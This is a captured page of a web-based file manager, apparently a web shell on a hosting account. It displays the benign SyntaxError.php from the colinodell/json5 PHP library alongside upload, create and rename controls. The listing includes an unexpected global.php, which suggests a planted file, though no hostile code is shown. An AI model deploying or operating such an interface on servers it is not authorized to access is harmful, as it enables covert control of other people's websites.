Explorer
home
/
zoteqbgb
/
public_html
/
vendor
/
colinodell
/
json5
/
src
Location:
/home/zoteqbgb/public_html/vendor/colinodell/json5/src
Root path:
/home/zoteqbgb/public_html/config/676626
Editing: SyntaxError.php
<?php /* * This file is part of the colinodell/json5 package. * * (c) Colin O'Dell <colinodell@gmail.com> * * Based on the official JSON5 implementation for JavaScript (https://github.com/json5/json5) * - (c) 2012-2016 Aseem Kishore and others (https://github.com/json5/json5/contributors) * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace ColinODell\Json5; final class SyntaxError extends \JsonException { /** @var int */ private $lineNumber; /** @var int */ private $column; /** * SyntaxError constructor. * * @param string $message * @param int $linenumber * @param int $columnNumber * @param \Throwable|null $previous */ public function __construct($message, $linenumber, $columnNumber, $previous = null) { $message = \sprintf('%s at line %d column %d of the JSON5 data', $message, $linenumber, $columnNumber); parent::__construct($message, 0, $previous); $this->lineNumber = $linenumber; $this->column = $columnNumber; } /** * @return int */ public function getLineNumber() { return $this->lineNumber; } /** * @return int */ public function getColumn() { return $this->column; } }
Save maftirs
Upload
Start Upload
New File
Create File
New Folder
Create Folder
Directory Contents
Name
Size
Perms
Modified
Actions
Json5Decoder.php
19,526 bytes
0644
2022-12-27 21:44
âï¸
ðï¸
Rename
SyntaxError.php
1,396 bytes
0644
2022-12-27 21:44
âï¸
ðï¸
Rename
global.php
1,180 bytes
0644
2022-12-27 21:44
âï¸
ðï¸
Rename
Chang
Apply